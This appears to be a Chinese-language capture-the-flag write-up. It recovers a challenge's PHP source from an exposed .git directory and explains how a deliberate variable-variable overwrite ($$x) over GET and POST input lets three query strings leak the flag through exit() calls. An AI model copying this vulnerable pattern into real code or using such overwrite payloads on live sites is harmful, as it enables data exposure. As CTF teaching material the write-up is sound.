什么都找不到,扫一下目录发现.git,用githack下下来,
<?php
include 'flag.php';
print_r($flag);
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
有一个post和get的变量覆盖漏洞,开始不知道怎么搞,看了wp,说一下原理,
exit也是一种输出,可以利用变量覆盖来把exit里面的变量变成flag变量,
第一个handsome
用get方式来传handsome=flag&flag=handsome
在foreach($_GET as $x => $y){
$$x = $$y;
}
里$handsome=$flag&$flag=$handsome
然后foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
$_GET['flag']=$handsome;两个$x:$handsome和$flag都不等于'flag',所以进入exit($handsome)
$handsome有等于$flag,所以拿到flag
第二个yds
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
get和post都不能传flag这个参数,才能进入exit($yds)
用get传yds=flag;经过foreach($_GET as $x => $y){
$$x = $$y;
}
变为$yds=$flag,然后get和post方式都没有传flag参数,所以进入exit($yds),且$yds=$flag
第三个is
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
第三个post或者get方式传flag参数,有一个与'flag'相等就行
get传is=flag&flag=flag
变量覆盖变为$is=$flag&$flag=$flag
之后if判断时get的flag=flag通过判断,从而进入exit(is)